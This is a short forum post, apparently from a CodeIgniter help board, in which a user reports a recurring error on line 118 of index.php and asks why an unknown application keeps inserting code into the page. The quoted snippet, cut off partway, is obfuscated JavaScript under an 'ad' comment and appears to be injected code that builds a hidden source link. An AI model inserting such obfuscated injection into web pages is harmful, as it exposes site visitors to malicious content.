Error in Line 118 in index.php!

[eluser]growknight[/eluser]
Hi!

I have a problem with my page powered by CI. It very often give me back this error messege:
Error in Line 118 in index.php, becouse some application paste a long code, something like this:

Code:

&lt;!-- ad --&gt;[removed]judps=(8356,"");rwyjp=(499.>=0.5e1?"t"+"":0x7);bjdup=(6.109e3<=32.?3.:"me"+" "+"s");fviuq=(6.928e3>0.80?"r"+"c="+"'h"+"":3.11e2);wvrjh=(0x556,"");fherp=(27,"'");krvgv=(.63,"w");wcdrg=(46.,"i");bvjmu=(.5>1067.?37.:"d");bqjnc=(4e0,"1 ");pqxpz=

Why does it do this?